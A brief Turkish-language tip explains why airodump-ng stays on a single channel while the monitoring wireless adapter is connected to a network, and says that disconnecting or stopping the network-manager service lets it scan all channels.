Airodum-ng ile kablosuz ağ trafiğini dinlemeye aldığınızda airodum-ng yazılımının tek bir kanalda takıldığını ve diğer kanalları izlemediğini görebilirsiniz. Bu durum dinleme yaptığınız kablosuz ağ bağdaştırıcısı bir kablosuz ağa bağlı bulunduğunda meydana geliyor. Kablosuz ağ bağlantılarınız keserek veya network-manager servisini service network-manager stop komutu ile durdurarak airodump-ng yazılımın düzgün şekilde kanalları taramasını sağlayabilirsiniz.